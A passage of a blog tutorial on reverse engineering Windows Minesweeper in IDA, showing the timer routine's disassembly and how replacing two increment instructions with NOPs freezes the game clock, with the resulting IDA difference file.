<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcZ7pjbHEVyy0IvSBywq2YP3ZDrY6d0B-lUWyAN4x4NspamCpgTOFc8SrRFhRTHibDwjc5-B3vsKkSuztTL0bBi4LVbLvoXIKSDbjx-xDtCzOImU3foY4rEiizyvXMJ_9btqcwQf30xAA/s1600/Untitled.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcZ7pjbHEVyy0IvSBywq2YP3ZDrY6d0B-lUWyAN4x4NspamCpgTOFc8SrRFhRTHibDwjc5-B3vsKkSuztTL0bBi4LVbLvoXIKSDbjx-xDtCzOImU3foY4rEiizyvXMJ_9btqcwQf30xAA/s1600/Untitled.png" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Let's see its content:<br />
<blockquote class="tr_bq">
<i><span style="font-size: x-small;">.text:01002FE0 _DoTimer@0 proc near ; CODE XREF: MainWndProc(x,x,x,x)+1A3 p <br />
.text:01002FE0 cmp <span style="color: #ea9999;">_fTimer</span>, 0 <br />
.text:01002FE7 jz short locret_1003007 <br />
.text:01002FE9 cmp <span style="color: #ea9999;">_cSec</span>, 3E7h <br />
.text:01002FF3 jge short locret_1003007 <br />
.text:01002FF5 inc <span style="color: #ea9999;">_cSec</span> <br />
.text:01002FFB call _DisplayTime@0 ; DisplayTime() <br />
.text:01003000 push 1 <br />
.text:01003002 call _PlayTune@4 ; PlayTune(x) <br />
.text:01003007 <br />
.text:01003007 locret_1003007: ; CODE XREF: DoTimer()+7 j <br />
.text:01003007 ; DoTimer()+13 j <br />
.text:01003007 retn </span></i></blockquote>
<br />
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
Two variables are being used here: <span style="color: #ea9999;">_fTimer</span> and <span style="color: #ea9999;">_cSec</span>. The <span style="color: #ea9999;">_cSec</span> variable is most probably the one that holds the seconds counter, since it is first compared to 3E7h (decimal 999 - which is game's maximum seconds), and then its value incremented by 1. Let's find all <span style="color: #ea9999;">_cSec</span> usages in the program (in IDA, right click on <span style="color: #ea9999;">_cSec</span> symbol, and select <span style="color: #ea9999;">Jump to xref to operand</span>):</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZC6F23K_cm4R0uqXsIbFhBCAMahLEHUBlWDRd4IsSaXOtrZ9k64A8-KUhCMzpel6rX7Ny0jPk7p7DJyCZ96yPw7fbfpYEnHlOdg56eUddzTtlJvMXFW28utPodG1ATzkJldS4VNXmmhQ/s1600/Untitled2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><strike style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZC6F23K_cm4R0uqXsIbFhBCAMahLEHUBlWDRd4IsSaXOtrZ9k64A8-KUhCMzpel6rX7Ny0jPk7p7DJyCZ96yPw7fbfpYEnHlOdg56eUddzTtlJvMXFW28utPodG1ATzkJldS4VNXmmhQ/s1600/Untitled2.png" /></strike></a></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: inherit;"><span style="color: #ea9999;">_cSec</span> variable's value incremented twice: in <span style="color: #ea9999;">DoTimer()</span> and in <span style="color: #ea9999;">DoButton1Up()</span> functions. The <span style="color: #ea9999;">inc</span> instruction in <span style="color: #ea9999;">DoButton1Up()</span> function is called only once in the beginning (once the first cell selected/opened). All the subsequent counter increments executed by<i> </i><span style="color: #ea9999;">DoTimer()</span> function. In order to hold the timer zeroed need to remove both <span style="color: #ea9999;">inc</span> instructions.</span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: inherit;"><br />
</span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: inherit;"><br />
</span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: inherit;"><b>Patching the program</b></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: inherit;"><br />
</span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: inherit;">Patching the program is as simple as replacing instructions with another instructions. The only thing to note here is that replaced and replacing instructions must have the same total opcode byte size.</span></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: inherit;">In IDA, go to the first <span style="color: #ea9999;">inc _cSec</span> instruction. Click on the instruction to select it. From <span style="color: #ea9999;">Edit</span> menu, select <span style="color: #ea9999;">Patch program</span> and then click on <span style="color: #ea9999;">Change byte</span>. This will open a dialog with 16 byte values.</span></div>
<blockquote class="tr_bq" style="clear: both; text-align: left;">
<i>By default, <span style="color: #ea9999;">Patch program</span> menu is disabled. To enable it, close IDA and go to its installation folder. Open <span style="color: #ea9999;">cfg</span> folder, then find and open <span style="color: #ea9999;">idagui.cfg</span> file. Find the <span style="color: #ea9999;">DISPLAY_PATCH_SUBMENU</span> key and change its value to <span style="color: #ea9999;">YES</span>. Re-launch IDA, and verify that <span style="color: #ea9999;">Patch program</span> submenu is available.</i></blockquote>
<div class="separator" style="clear: both; text-align: left;">
The <span style="color: #ea9999;">inc _cSec</span> instruction is 6 bytes long. The replacing instruction should do nothing - which is exactly what <a href="http://en.wikipedia.org/wiki/NOP" target="_blank">NOP instruction</a> does. <span style="color: #ea9999;">nop</span> is 1 byte long: thus, one <span style="color: #ea9999;">inc</span> instruction should be replaced with 6 <span style="color: #ea9999;">nop</span>s.</div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: inherit;"><br /></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: inherit;">Therefore, only 6 first bytes (FF 05 9C 57 00 01) in dialog should be replaced to six <span style="color: #ea9999;">nop</span> instructions (90 90 90 90 90 90). Same steps should be done for the second <span style="color: #ea9999;">inc _cSec</span> </span>occurrence.<span style="font-family: inherit;"> </span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: inherit;"><br /></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: inherit;">Once instructions replacing was done, I created a difference file. It's just a textual file that contains three columns: the offset address, the replaced byte value and the replacing byte value. </span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: inherit;"><br /></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: inherit;">In IDA, click on <span style="color: #ea9999;">File</span> menu, then <span style="color: #ea9999;">Produce File</span> and select <span style="color: #ea9999;">Create DIF file</span>.</span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: inherit;">You should see the following output:</span></div>
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>
This difference file is created by The Interactive Disassembler
winmine.exe
000023F5: FF 90
000023F6: 05 90
000023F7: 9C 90
000023F8: 57 90
000023F9: 00 90
000023FA: 01 90
00002C30: FF 90
00002C31: 05 90
00002C32: 9C 90
00002C33: 57 90
00002C34: 00 90
00002C35: 01 90
</code></pre>
<br />
The final step is to open the winmine.exe executable in your favourite hex editor (my favorite is <a href="http://www.hexedit.com/" target="_blank">HexEdit</a>) and to alter the bytes. If you made many changes, and your difference file is too large for manual editing then <a href="http://idabook.com/examples/chapter_14/ida_patcher.c" target="_blank">this utility</a> can automate this task.<br />
<br />
<br />
<b>The result</b><br />
<br />
The patched executable will not increment its timer counter anymore:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjm0NQCafdz5WV4rsrm8P-PBkO05Nhf46kPjTG3q5jKMNWkXpa4eBwssE_rkU-qtC5ccIX89sfi0WRe7sF34k1R7XlpFldOi95v8y-WZ4e9XYc7kcc7Za30p3a2KEF4QhLCRr2_piLKV3g/s1600/Untitled3.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjm0NQCafdz5WV4rsrm8P-PBkO05Nhf46kPjTG3q5jKMNWkXpa4eBwssE_rkU-qtC5ccIX89sfi0WRe7sF34k1R7XlpFldOi95v8y-WZ4e9XYc7kcc7Za30p3a2KEF4QhLCRr2_piLKV3g/s1600/Untitled3.png" /></a></div>
Alex Lipovhttp://www.blogger.com/profile/09962549203753762135noreply@blogger.com0